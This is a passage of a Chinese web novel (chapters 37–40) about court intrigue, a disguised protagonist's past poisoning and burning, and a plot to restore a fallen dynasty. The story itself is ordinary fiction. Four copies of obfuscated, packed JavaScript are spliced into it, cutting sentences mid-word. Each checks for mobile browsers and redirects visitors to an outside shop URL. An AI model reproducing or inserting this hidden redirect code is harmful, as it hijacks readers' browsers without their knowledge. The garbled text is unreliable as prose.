满城的夫人小姐都知道,清阳公主刚攀着魏离得到的正二品位子还没捂热,就被降为了从五品乡君。满城的百姓都不明白她为什么放着好好的侯爵夫人不做,要去和小小的翰林编修私相授受,还是在大婚当日被抓了个正着。 文帝这回可是真被清阳公主气狠了,她闹了这一出丢的可不只是皇家脸面,还有民心。最让他生气的还是刚下早朝回来,一眼就看见他这个不成器的宝贝女儿跪在御书房门前,硬是求他不要惩处苏延。他心里本就憋着一口气,当即下了令削了苏延的官职,连带整个苏府里的人一起压到牢里。 满宫的宫女都看明白了,外面传的都不是谣言,清阳公主真的在大婚当日丢下平宁侯找苏公子去了。 可苏公子也没那么大魅力啊? “朕不管你看上苏延什么,立刻把你想求情的话收回去,否则我明日就流放苏家!”文帝真是被气狠了,他素日最疼爱这个女儿,也不知道苏延给她吃了什么迷魂药。 “朕在赐婚前是不是问过你,是你确定自己的心意不会改变,朕才下的旨意。”要不是清阳公主喜欢,他怎么可能把唯一成年的女儿嫁给一个刚中状元的愣头青,连中三元也不行!就算魏离有潜力,也得等他干出一番事业来。 “是……” “朕有没有在他正式回京述职之前,问过你,还愿不愿意嫁给他?”清阳公主和苏延那些不清不楚的事情他一直都清楚。 “有……” “你当日不告诉朕你不愿意嫁给魏离,现在又闹出这场面来做什么?” “儿臣有错。”清阳含着泪水垂下了头。 “你、唉,罢了,回你的寝殿好好闭门思过。”文帝终究还是不舍得罚她,见了那发红的眼眶,语气又软了下来。 “千错万错都是儿臣……” “闭嘴!回去!”他不想再听见什么“和苏公子无关”的话。 要说出了这件事,最开心的是谁,当然是太子妃冯氏了,这东宫后院之中她最厌烦的女人终于消停了。苏烟罗如今是整日关在她的小院子里以泪洗面希望能求得李焕垂怜,不过依冯氏来看,这次就算她哭瞎了眼睛,李焕也不会再看她一眼。 不管外面风言风语如何传,八卦消息如何飞,魏离都不放在心上。 平宁侯府里,画着精卫填海的金丝屏风前,是一袭白衣的威力,他面前正端坐着一位身披罗缎袈裟面容慈祥的中年和尚,那和尚双手合十,轻轻捻动手上的檀木佛珠串子。 “喝杯茶吧,静斋师父。”魏离亲自为他斟上茶水,是岭南的新茶,茶汤清亮,白毫满披。 “你就打算对此事轻轻揭过?”这是静斋自魏离下山之后第一次见他。 他仔细地盯着魏离的眉眼,在心中描摹那幻象似的影子。 “孔啼奇急了?”魏离给自己也倒了一杯,虽然他并不喜欢这茶的味道。 “只要你替他报仇,他愿意替你做任何事。” “他是为了报仇,那你呢?”他紧紧地盯着眼前端起茶杯的光头和尚,比起他们上次相见,他似乎有些老了,曾经令人难以察觉的细纹也变得明显了起来。 “我是为了你母亲。”静斋抿了一口杯中的茶,是他常喝的那款白茶,没想到魏离还记得。 “出家人不打诳语,师父,你说谎了。”魏离微微一笑,“你和东离古国的邪教有关吧?你到底想要什么?” “我的计划不会影响到你的。”静斋慢慢地将杯中的茶饮尽,自己提起了桌子上的茶壶倒茶喝。 “那就是咯。”魏离起身从屏风后面取出一个匣子,看着静斋那副悲悯的面具逐渐崩裂。 真有意思。 “你要怎么样才愿意把东西给我?”静斋的面容逐渐变得有些扭曲。 就像被太阳晒久了的稻田,干涸的土地即将龟裂一般。 “我知道了。”魏离打开回来后重新打造的铜匣子,里面是那三小部分骸骨。白莹莹的骨头,像上好的白玉一样,在明亮的光源下有些晃眼。 “你想要重新换一个身体,对吗?国师?”魏离看着静斋愣了一瞬,不断变换着的眼神,突然觉得有些好玩,“你当年劝我娘带我到大宁来,是不是也想把我跟这副已经被分开镇压几百年的躯体一样,也分成五份?” “只不过没想到,我娘硬是想办法把我变成了苏府大小姐,短暂地扭曲了我的命运。你就算是下手,也没有那样的好效果了。”魏离看着他有些颤抖的手,“如今,你想收集的不只是这些躯体碎块吧?你想我去周朝,重新走上你看到的轨迹,好用同样的办法,再活个几百年?” “清静告诉你的?”静斋的眼睛因剧烈的情绪波动而充血突出,仿佛下一秒就要爆出来。 “你告诉我的。”魏离轻轻将他面前凉透了的茶水倒掉,又换上新的,“这一切,都是我猜的。但是你的反应告诉我,我猜对了。” “你以为清静道贼又是什么好东西?”静斋此时根本平静不下来,他不知道魏离到底推断了多少东西。 “我没当他是好东西。”半掩着的窗户缝里突然钻了只小黄雀儿进来,落在魏离的肩膀上,歪着头好奇地看着对面的光头。 魏离晃了晃已经不剩多少茶水的瓷壶,“茶水尽了,静斋师父也该走了。祈祷我顺利被周朝的人承认吧,否则,你这漫长的生命,就要到尽头了。” 静斋颤抖着手饮下最后一杯半凉的茶水,苦涩的气味和回甘在口腔里冲撞,他背对着魏离一步步走向厅门,好似坠着千斤铁块,难以动弹。 “或者,我现在给你一个痛快?以报你辛辛苦苦为我安排这么坎坷的道路?” 他本就魂不守舍,乍然听见魏离这两句话险些跌了一跤,好不容易才出门去。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624337|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>目送着静斋和尚的背影远去,魏离回头看向那金线精卫屏风,“出来吧,都听了多少?” 屏风安安静静地立在那里,魏离也安安静静地盯着它,他肩上的小雀儿似乎等得不耐烦了,飞到屏风后边乱啄一气。 “先、先生。”即荧耷拉着张脸从屏风后面被小雀儿撵出来,鼻尖被它啄了个大红点。 “都听了些什么?”魏离示意他坐下,自己也重新坐回刚刚的位置,“可惜了,没有茶水。” “不、不必麻烦。”即荧看着魏离毫无波澜冷静得可怕的脸,心脏突突突地跳,完了,先生不会是要灭口吧? “放心,不会灭口的。”魏离看着他紧张得连手都不知道往哪搁,脸上终于是将对待静斋的表情换了下去,重新露出令人如沐春风的笑容,“只要你的父亲姓蓝,我就不会对你动手。” 即荧刚放下的心又悬了起来,“你怎么、你怎么知道我父亲姓蓝?”他的母亲说过,不能让人知道自己的父亲姓什么,否则他和姐姐都会出事。他从未说过自己的父亲是谁姓什么,连科考查户籍和祖上的时候都说的是母亲的不知道哪个恩客,父不详。 “蓝即荧?”魏离笑着看他炸毛惊慌失措的样子,“大魏的最后一任皇后姓即,即这个姓又不多见。不过能猜出来你的身世的,也是少数。太、子、殿、下。” “别、别这么叫我……”蓝即荧小心地走到门外窗外都看了一圈,确定没有人才重新回到桌前。 “应该有不少旧臣来找过你吧?”光复大魏什么的。 “是有,但我可能不是当皇帝的料,而且如今我不也混的挺好的嘛,也能保护好姐姐。”蓝即荧不知所措地将手交叠在一起,悄咪咪地在桌子底下抠手指。 “你觉得当今那个皇子更适合继位?” “我不知道。”蓝即荧很老实,他确实不知道,他根本没接触过两位皇子,只在传闻中听说过一点点,但传闻终归是不真实的,不能作为评判依据。 “太子私心重,疑心更重。” 蓝即荧听着魏离的话点点头,确实,当初卞城的战事被延误了好久。 “淮阳王软弱平庸,难堪重任。” 蓝即荧继续点头,确实,若是他能早些对太子狠下心动手,也没柳家满门忠烈只剩下孤儿寡母的事情。 “谁都不合适。”魏离叹了口气,“我替大宁守着这疆土也不过是暂时的。” 嗯?蓝即荧听得一头雾水。 “你在屏风后头都听明白了?我就是那个惨死在郊外山脚下,焦尸一具红颜枯骨,不受宠爱的苏家大小姐苏柳玉。所以我根本就不能娶清阳公主,才让你设计他们俩旧情复燃,私奔逃婚的。” 蓝即荧的眼睛瞪得圆溜溜的,似是难以置信。 “想知道作为苏府大小姐,和太子殿下定了婚约,是太后娘娘的亲传弟子的苏柳玉,是怎么死在荒郊野岭的山火之中的吗?” 38.第 38 章 她仍旧记得那天苏府的妹妹们送来的桂花酒有多香甜,也不曾忘记漫天火蛇缠绕在肌肤之上的痛楚。 自打从云城回来,苏柳玉就彻底从玄山寺上搬下来了,还住在年幼时和母亲生活的小破屋里。她向静斋讨了寺庙修缮时剩下的边角木料,重新修葺了这间承载了她九年回忆的小屋子。 那日她终于凑够围篱笆的粗壮桃枝,从早上忙到傍晚才修好自己喜欢的小院子。从山里移栽来的草木乱中有序地凑在一起开大会,她还在屋后插上了一棵从寺院里偷偷折下来的桂花树枝,幻想着几年后屋子外边开满桂花的景象。 她始终忘不了云郡的桂花香,想自己试着做些看。 那天的夕阳很漂亮,天色被它慷慨地献出色彩,染成了火一般的壮丽热情,如同熔金一般流淌着,层层叠叠地将织好的云朵变成焰火,轻轻地给予世间最后一个温柔的拥抱。 苏府又送东西来了,应该又是太后娘娘吩咐的,否则整个苏府怕是都想不起她这个人来。 苏柳玉安静地看着她并不熟悉的妹妹在她刚收拾好的院子里来回走动。妹妹们身上都穿着漂亮华贵的绫罗绸缎,身上都飘着她从未在集市上闻到过的香粉气味。 她不羡慕妹妹们,她觉得自己就这样在山脚下种点东□□自过活也挺好。 “都五年了,姐姐都已经要十七了,算是个老姑娘了呀,怎么太子殿下还不娶姐姐过门?”温温软软的声音挠得苏柳玉的耳朵痒痒的,她循声望过去,正看见苏烟罗揪着她刚安置好的粉色野花,这是她妹妹里最漂亮的一个,也是在京城中最出名的,听说好多少爷都赶着上门求亲。 “三姐姐忘记了,大姐姐还‘病着’呢。”苏思云看见苏烟罗手底下被摧残的花儿觉得有些可怜,戳了戳身边的苏思妍。 苏思妍当做没看见,继续看着院子里的其他花草,这院子应该花了好长时间才弄好,她上回从玄山寺下来看过这,还是空地破屋一片。 “时间太久了,我都忘记了。”苏烟罗故作惊讶,松开手底下已经被蹂躏得不成样子的花,让身后的侍女把东西都摆出来,“哎呀,姐姐这院子里,怎么连块桌子都没有?” “屋里有,我去搬出来。”苏柳玉知道苏烟罗这是又开始发病了,她也不计较,进屋去把屋里唯一一块木桌子拆开搬出来拼上。 有些破旧的桌子上很快就被摆满了各类菜肴瓜果,还有些糕点,最让苏柳玉意想不到的是,居然还有一小坛子酒? “姐姐终于舍得从玄山寺上下来了,妹妹很是高兴,这坛酒是太后娘娘赏赐的,说是宫里酿的桂花药酒,希望姐姐能早日痊愈,早点和太子殿下完婚。”苏烟罗这次带的是干干净净的白瓷杯盏,纤纤玉手轻轻捧起酒坛子,给这位许久未见的姐姐倒上了满满一盏。 太后哪里会只赏赐一坛酒来,苏柳玉轻轻嗅着空气中弥漫的桂花甜气,太后每赏赐一次,苏烟罗她们就会来看她一次,因为那些东西都是赏赐给她的,只有从她这里再拿回去,才会变成苏府的。 漫天的桂花香气让她又重新回想起在云郡那三年。 还没等苏柳玉细想,苏烟罗娇滴滴的声音又响起来,那双纤细美丽的手捧着白瓷盏递给她,“太后娘娘很想念姐姐的箜篌曲子,但姐姐现在‘病着’,不如教给妹妹吧?这样也能缓解太后娘娘对姐姐的思念。” “我还要‘病’多久?”苏柳玉不明白,她为什么要“生病”。她自从当年跟着太后学习箜篌,编完那曲《济水》之后,她就“病了”。这一病好几年,她再也没见过太后,也没见过太子殿下。倒是那个淮阳王,从还是三皇子的时候就开始到玄山寺上找她,不过她也快一年没见到他的影子了。 整个京城,没几个人见过“苏家大小姐”的真面目。 “不久,很快就结束了。”苏烟罗笑着将一小盏香甜酒液塞进她的手里。 真的吗?苏柳玉盯着苏烟罗脸上甜美的笑容,嗅着鼻尖的桂花香气和不知道什么香粉混在一起的为味道,有些心慌。 “要等到太子殿下退婚吗?”她一双眼睛里映着漂亮的晚霞,紧紧地盯着苏烟罗。 “怎么会呢?太子殿下这门亲事对我们家来说可是天大的喜事。”苏烟罗脸上的笑意不变,“天色也不早了,这些东西就留给姐姐了,可不要辜负了太后娘娘的一番心意。” 一旁无聊得快要蹲在地上数蚂蚁的苏思云和苏思妍听见苏烟罗这话,激动得立马来了精神,“那我们就先走了大姐姐!” 苏柳玉捧着桂花药酒看着她们,点点头。 两姐妹抢在苏烟罗之前上了马车,天知道她们有多不想再那个小破院子里待,而且苏烟罗和苏柳玉只顾着自己讲话,也不管她们。 苏柳玉目送着马车的影子渐渐远行,轻轻抿了一口手中的桂花酒,好甜。 口腔鼻腔中被桂花气息充满,还夹杂着些苦涩的药气,久久不散。 在她讲杯盏搁回桌上时,院子外面突然窜过一个人影,她拎了孔啼奇送的临别礼物——一把新的剑,往外走去。 走出院子,那桂花的气味才淡了些,空气中充满了潮湿的水汽,好像要下雨了,苏柳玉在房子边上转了一圈,没发现什么人,只好当自己是眼花了,又回到院子里,草草吃了些东西,将剩下的打包好,拎起来准备到山下的集市去分给跟自己当年一样无家可归的乞儿们。 这么多东西她是吃不完的,如今这天气没有冰窖,这些东西过夜就会坏,不如分给他们。 天已经完全黑下来了,苏柳玉又放下食盒往屋里拿了把伞,点了盏灯笼,山路不好走。 准备好一切,她重新拎起食盒准备往外走,忽然一阵头晕目眩跌在地上,蝴蝶骨正撞在她前几天刚修好的门框上,食盒也落到了小院子门口。 她皱眉想掐一掐自己突然毫无力气的小腿,没想到连手臂都有些抬不起来。 ?苏柳玉有些疑惑,就那一小杯酒,也不能喝醉吧?连带着头都有些晕。她重新尝试着站起来,发现自己根本使不上劲,不过,刚才撞到的蝴蝶骨倒是会疼。 苏烟罗说的“很快就要结束了”不会指的是她的生命很快就要结束了吧?苏柳玉背靠着门框,没想明白自己到底哪里得罪了苏烟罗。 她只是一个在苏府住都没超过一个月的挂名大小姐,难道苏烟罗想要嫁给太子? 肌肉越没力气,苏柳玉的思维就越活跃,苏烟罗应该不敢下毒,到时候太子未婚妻意外中毒身亡,京兆尹一查就清楚。那苏烟罗给她安排的死法,是什么样的?能保证查不清楚真相。 她的视线开始变得模糊,隐约看见有人捡走了院子门口倒着的食盒,再然后她就一无所知了。 -——— 苏柳玉是被痛醒的。 她不知道什么时候被人搬运到屋子里了,她勉强看清眼前满是火光的床褥,是她刚布置好没几天的小屋。 好烫。她看见火光在房梁上、窗沿上、门框上跳跃,如同精灵般的舞姿,预告着她的死亡。稻草柴堆上的火蛇已经爬上了她辛辛苦苦晒干的桂花上,隐隐燎出金黄色的烟气。原本修整得方方正正的门框开始变形, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13624338|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连带着墙壁上的砖块纹路都被火焰燎得扭曲。 “嘎吱嘎吱”的断裂声不断刺进她的脑子里,她努力的扭动自己的四肢,看见静斋师父给她挂在房间里的母亲的画像也被烈火一点一点吞噬。 还是没力气。被灼烧的疼痛感很快地占据了她的整个大脑,她能想象出自己现今是怎么样的一副狼狈模样。床顶上的木板被烧透了,从高处落下,重重地砸在她的背上,烈火顺着衣衫和木块爬满了她整个背脊。 苏柳玉望着画像上逐渐被火光吞噬的美人面,感受着自己脸上被灼烧的疼痛,想要落泪,却发觉自己的泪腺干得发疼。 不能死在这里。 她再次尝试着活动自己的手脚勉强地往前爬动,在烈火中将自己重重地摔倒地面上。地面也很烫,青砖被火光烧的绯红,每挪动一下都像要拔下她的皮肉。 她努力地一点一点地挪动,所幸这间屋子又破又小,从床上到门边的距离算不得远。掉落的火星不断地刺痛着她的眼睛、她的脸、她的伤口,她看不见自己爬行的血色轨迹飞快地被滚烫的地板烤干。 都能闻到自己熟了的味道。苏柳玉将脑海中对自己躯体的想象赶出去,专心往外爬着。火舌不断舔舐着她的皮肉毛发,难忍的疼痛一遍又一遍地刺痛着她的神经。 外边居然下着雨。苏柳玉好不容将自己的手伸出门槛外,隐隐感受到细小的雨珠落在滚烫的皮肤上。屋里的大火还在继续,嘎吱嘎吱的声响越来越频繁,好像这小破屋下一秒就要倒塌一般。 苏柳玉努力将自己从门槛上拖过去,撕裂皮肉的疼痛让她忍不住叫出声了,随着她暗哑的痛呼声,被大火覆盖的破屋轰然倒塌。 她勉强地靠着自己先前搬出来的破桌子,看着倒塌的屋子变成一片废墟,废墟之上,是越来越大的雨和逐渐熄灭的火星。 不只是她的房子,还有边上挨着的一片桃林,她记得那片林子在春天会开出一大片粉嫩灿烂的桃花。 如今是连雨水都难以浇灭的大火覆盖在上面。 拖这场雨的福,她身上的火被浇灭了,但疼痛更明显了。她清晰地感觉到身上溢出的血液和嵌入碎石碳粉的伤口。 苏柳玉休息了会,扭动着算是毫无力气的肢体,往院子外的山道上爬行。 她不能死,她还没有去找到母亲。 她爬过的地方一点一点的被铺上鲜血,像是登天的红绸,一点点地向上蜿蜒。 也许日后会多出一条山间诡事,她自嘲地扯了扯干裂的嘴角。 湿润的泥土里满是腐烂的味道,零星的蚊虫肆无忌惮地行动着,她爬了许久之后,终于见着了那生着菩提的长阶梯,青色长石组成了那通往山顶的路,真的是难如登天的路。 她叹了口气,满是鲜血和灰烬的手虚虚扒着粗糙的青石边沿,一点一点地向上拖着自己的沉重的身体,很痛,不算尖锐的石阶梯也是有棱角的。 天色渐渐亮起来了,天边是很漂亮的青灰色,倒跟她身下的石阶是一个颜色。 到了,她抬头看了一眼紧闭的朱红色的大门,门上是漆金的狮子铜首,檐上是金粉描的观音莲,门内隐约有悉索的声响,沁鼻的檀香气萦绕在她的脑中,倒是驱散了一些疼痛。 她已经没有力气去推开这扇门了,真是就差一步。长时间的失血已经让她难以再看清眼前的景象,可这已经是最后一步了,她活下来的最后一步! 她又往前挪动了两步,抬头用仅剩的离去撞向那扇门。 结束了。她静静地趴着,垂下脑袋,闭上了眼睛。 39.第 39 章 “可是,太子殿下和太后娘娘没有追查先生的死因吗?”而且,蓝即荧先前是见过魏离房间里挂着的苏柳玉画像的,不说长相,就魏离这个快比他高出一个头的身高,也不符合啊!总不能真的存在什么交换灵魂交换身体的邪术吧? “太子殿下无所谓太子妃是谁,只要有用就行。”魏离轻轻地用指腹抚摸着小黄雀的脑袋,软软顺滑的绒毛轻轻划过手指,“太后娘娘只是闲暇时寻得了个小宠物,没了这个,还可以找到新的。” 蓝即荧沉默了一小会,还是没有将心中的疑惑宣之于口,这些事情都和自己没有关系,他只要记得魏离是自己的恩人就好。 魏离瞥见他纠结得快拧巴在一起的手指,怎么会不知道他想问什么,“我那日从山脚下一直爬到山顶上的玄山寺,是静斋师父救了我,他亲手帮我剜去烧焦的血肉,改去属于苏柳玉的面容。”包括她作为女子的一切都被静斋改变了。 “从那天起苏柳玉就真正地死了。静斋用的药很好,我的伤势好得很快。等到乡试的前一天,我甚至回去看了那一片焦黑的破屋子。”苏烟罗在那场雨之后又补了一把火,烧的很干净,什么都没有留下。 “先生为什么要告诉我这些?”蓝即荧没有想过魏离会将这些事情告诉他,不管是“苏柳玉”还是静斋和尚拥有的能改头换面的能力。 “因为,文帝轻武,李焕多疑,李瀛懦弱,公主自私,难解百姓困苦。这天下合该回到蓝家的手里。”魏离将小黄雀儿带到窗边放出去,回头对上他有些颤抖的目光,“本就该是你的,即灵小姐和其他百姓,就不应该受这些苦。” 蓝即荧被魏离的目光看的有些恍惚,恍惚间又回到了当初的那只画舫上,丝竹乐曲从一间又一间的房间里传出来,母亲因为痛苦而扭曲的面容又重新在门缝里出现,不再是梦魇中模糊的样子,这次是真实的,他总觉得那股血腥味就萦绕在鼻尖。 前段时日他下江南将那座画舫的主人和当地的贪官县令都抓起来判了死刑,他亲自监斩。那天,十里八乡的百姓都来看他们行刑,都喊他青天大老爷,连带着当年破旧学堂里的老先生都拄着根拐杖颤颤巍巍地给他送了面匾额。 不久前去过的卞城,他亲自上过城墙,就算已经风吹日晒好几日,守城的将士们也将血迹清洗过好几遍,那扑面而来的硫火气息和始终无法散去的淡淡猩红也仍旧被铺在他的面前,刻在他的眼里。 他不是不知道自己的父亲是怎么败的,也不是不知道自己的哥哥姐姐都是怎么死在刑场上的。泼天的血仇从那些人找上他开始,就牢牢地抓在他的背上,沉重得令他无法喘息。 他和姐姐是父亲的老来子,姐姐两三岁的时候就被母亲抱着四处流窜,自己更是母亲在画舫上生下的,“父不详”的孩子。他们从未真正享受过所谓大魏的辉煌、皇室的富贵,他不想背负这些,只想让姐姐一世无忧。 “不用我多说,你也知道,当年大魏之所以会被李氏推翻,全都是因为李氏门生掀起的舆论谣言。”魏离见他呆愣愣地看着自己,便走过去轻轻拍了拍他的肩膀,“你想要和姐姐安安稳稳过完这一生,我知道。” 蓝即荧的目光跟随着魏离翩翩的身影移动着,已经忘了自己来这找他是为了什么。 “你能够保证,他们永远都不会发现你们是蓝氏遗孤吗?” 温润的声音宛若惊雷在蓝即荧的耳畔炸开,他有些无措地看着魏离,不明白自己该回答些什么。 “他们会发现的。因为自打你考上探花,他们就记住了你的名字。这世上又有几家人姓即呢?”即氏因为当年出了最后一位大魏皇后,早就被李氏赶尽杀绝了,宁杀错,不放过。 魏离蹲下来,轻轻握住他颤抖的双手,“你还记得你第一次见你姐姐的时候是什么样子吗?” 蓝即荧轻轻地点头。 “她被打扮的很漂亮,可手上被绳子绑住,磨得鲜血淋漓,差点就没能见到你。”温和的声音带着无法言说的神奇力量,一点点地渗透进他的耳朵里,“你记得她是因为谁,才被带到京城来吗?” “是苏烟罗,苏烟罗当时是户部尚书家里最受宠的女儿,她正要被当做礼物,送给那个七皇子。遇到这种事情,户部尚书都没办法,你现在只是个侍郎,又有什么办法?就算他们没有发现你们的身份,你也无法保全你姐姐。” “你知道为什么你做了那么多事情,得罪了那么多人,还能好好地站在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660371|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里吗?” 他摇摇头,这双眼睛第一次露出迷茫的神色。 “最开始是因为文帝重视你,后来是因为李瀛派人暗中保护你,如今,是因为你住在我的府里。”那只小黄雀儿又从窗外溜进来,魏离起身把它赶开,“可我过段时日就要‘死了’,你们要怎么办呢?” 什么是“又要死了”?蓝即荧的眼睛瞪得很大,有些不明白魏离的意思。 “我不是京城人,我要回家了。”魏离将窗户关紧,回头微笑着看他,他笑的很漂亮,像春日里的暖阳在水中的倒影,轻轻地映照在蓝即荧的眼里,似乎一碰就会碎开。 “为什么,先生不能留下来吗?”他希望魏离能留下来,不只是为了平宁侯府这个保护伞,这一年多来,他和姐姐早就将魏离当做家人了。 虽然他一开始也不相信魏离是无条件帮助他们。可魏离这么久以来,竟然只让他做过一件事——揭发驿站私瞒军情,连着贪污的事情都是他自己为了报仇求魏离帮忙的。魏离在支援云郡的路上还因此受到多次伏击。 “你要为母亲报仇,我也要为我自己报仇。”魏离无奈地看着他,“我有我自己要做的事情。” 蓝即荧这才猛然想起来自己到主厅里找魏离是为了什么,他感觉自己听完魏离这些话,声音都有些颤抖,“姐姐想问你,你上次做的桂花糕是什么方子,很好吃,她想学着做一下……” “我过会儿把方子写给她。”魏离透过大门看了看外头的天色,天空清朗无云,像一整片湖泊被倒吊在上面,而湛蓝的天色下,整个院子里都盈满了桂花的香气,是他特地让人移栽来的桂花树,他找了个小花篮递给蓝即荧,“去摘些桂花吧。” 他站在门边看着蓝即荧清瘦挺拔的背影,叹了口气,“我会回来的。” 轻飘飘的几个字慢慢跟着香气四溢的桂花地滑到蓝即荧手中的小篮子里,让他忍不住停顿了一下手中的动作。 只是一小会儿的停顿,他又继续打着树上金黄的桂花。 魏离笑了笑,转身回书房找了笔墨,将自己从云城学来的桂花糕方子仔仔细细地写下来装进信封里放好,去马厩里牵了不知道哪家送来的骏马,就往皇宫的方向去了。 40.第 40 章 满城的人都知道,平宁侯刚打了胜仗,还没在京城歇几日,就被清阳县君伤透了心,回云郡去了。文帝也因此大怒,罚了清阳县君禁足一年。而苏家大公子被革了官职,苏老爷酒后失足淹死,整个苏家竟然只能仰仗已经失了太子心的苏烟罗。 蓝即荧在魏离带着将士们离京的那天,手中紧紧地捧着那封桂花糕的方子,望着那马蹄扬起的滚滚烟尘,侧身问自己的姐姐,“我们会不会再也见不到魏先生了?” “你在说什么胡话?”蓝即灵弹了他的脑袋一下,“不说如今没有战事,就算有战事,凭魏先生的本事,还能有差错?” “也是。”蓝即灵还是呆呆地望着那几乎已经看不见行迹的军队有些难过。 ———— 魏离离京前让人去买了大批的粮食,特地挑了一条能经过中部潭郡旱灾地区的路行军。 秋旱一直是大宁难以解决的问题,当年李氏也是将百年难逢的大旱扣在蓝氏无德不配位上,才领兵起义的。这十几年来,文帝一直没重视这片土地的干旱问题,每年都要因为干旱和缺粮饿死好几万人,甚至不如前朝做的好。 而饿死的人没能及时处理,又衍生疫病,又死好几万人,原本应该因盛产金银铜铁而繁盛的地区,却没有多少活下来的人能继续开采,中部原本因丰富的矿石资源而来的有钱人家,也都被常年的干旱、疫病还有难民吓退了。 魏离想解决这一个问题,他可怜这边坐拥金山银山却越过越苦的百姓,也可怜前朝因为这块土地国破家亡,被赶尽杀绝。他在计划里给自己设计的死亡是“为君死”,他还差一个足够让百姓也为他的死亡伤心的名声。 在他死后,蓝即荧一方就可以以此为由造反。 他要让魏离这个名字,彻底盖过皇室,当年既然是他和太后一起参与的建立大宁的舆论控制,那他自然也明白这个舆论制度有多么容易击破。 文帝越显得没用,蓝即荧造反复国就越容易成功。 至于为什么魏离敢肯定蓝即荧在他走后会选择复国……那当然是因为他已经私下联系过那些前朝激进派的旧臣了。 “将军,前面有匪徒拦路。”就如他预料的一样,刚踏上潭郡的边界线,李倓越就来报,有匪寇敢拦截军队。 不知道有没有二十人的匪徒拦住了近两万的军队。 这些人算不上真正的匪徒,魏离策马到达队伍的最前列,看着拎着一把缺了口破刀拦在马前的匪首。是个骨瘦如柴的青年,带的也是些残兵弱将,跟他一样瘦骨嶙峋。 “你知道我这是军队吗?”魏离居高临下地看着持着刀发抖的民众,他们真的太瘦了,像是几具骷髅架子竖在高大的军马前头。 “军队又怎么样,没饭吃我们连皇帝都敢拦!”那青年看着瘦弱,声音倒是洪亮,“都是你们这些贪官污吏,吞了朝廷的赈灾粮!” “反正饿死病死都是要死,带着你们一起死也是赚的!” 魏离轻轻一笑,“潭郡的饥灾已经这么严重了吗?我还从未听谁说起过,也从未听说陛下派人送过粮。” 他清楚地看见马前面站着的干瘦“强盗”们的脸上露出了不可置信的表情。 “难道那些狗官说的都是真的?”朝廷真的没有往下派过赈灾的粮食? 有的,不过很少,近似乎没有。因为云郡改田种植蚕棉,大宁国库的粮食自然变少了,而且那些赈灾的粮食,在这可能卖出天价,没有人监督,为什么要往下放? “凭你们这点身板,打劫过路商户从来没成功过吧?”魏离让李倓越拿了些干粮出来分给他们。 “这地方也没什么商户会经过,我们打劫官伍,都是为的让上面的人知道我们没饭吃。”见魏离让人拿了粮食给他们,为首的青年勉强算是放下点戒心,“我也想过带着乡亲们上别的地方去讨生活,但你也看到了,我们青壮年都是这个样子,更别说老人孩子了,根本饿的走不动道。” “前朝的时候虽说也年年闹灾,可到底有云郡送些粮食来,如今云郡改种蚕棉,哪里有多余的粮食可借。”那青年将手中的干粮全部分给身后的人们,看向马上的魏离还想再说些什么,被身后一个年长些的敲了一把脑袋。 “胡说什么呢!不要命了?”那中年男子将自己手中的干粮分了一半给青年,也看向马上的魏离,“这位将军,我们并不是真的上山当匪徒,实在是求了好多座城的大人也没个回音,才在这岔口天天守着,盼着能遇着个达官贵人帮帮我们。” “这件事我会让人上报陛下的,但后续如何,我也不敢保证。”魏离看着眼前一堆捧着干粮望着自己的老少们,“前段时间收复的云城十六郡陛下还未下旨改田种蚕棉,我会让他们送一批粮食来先应应急的。”又回头看向身侧的李倓越,“你带着大家先回去,派一批人运送粮食,我在潭郡多待些时日。” “可是……”你跟陛下说的是直接回云郡驻守啊,这半道留下不合规矩吧!李倓越虽然也觉得这些灾民很可怜,可这不合规矩啊! “我因为清阳乡君的事情伤心过度,旧疾复发,难以赶路,在潭郡先落脚歇息。听明白了吗?”魏离看向身后包含李倓越在内一共三个副将,“去吧,我在潭郡养病。你们运送粮食也是我战时私人买下的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673227|143167||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,听清楚了吗?” “清、清楚。”李倓越他们上次见魏离这个眼神还是汪将军和他的计划起了冲突的时候。 魏离清俊的面容在天光下显得格外干净,眼底深沉得让人害怕。 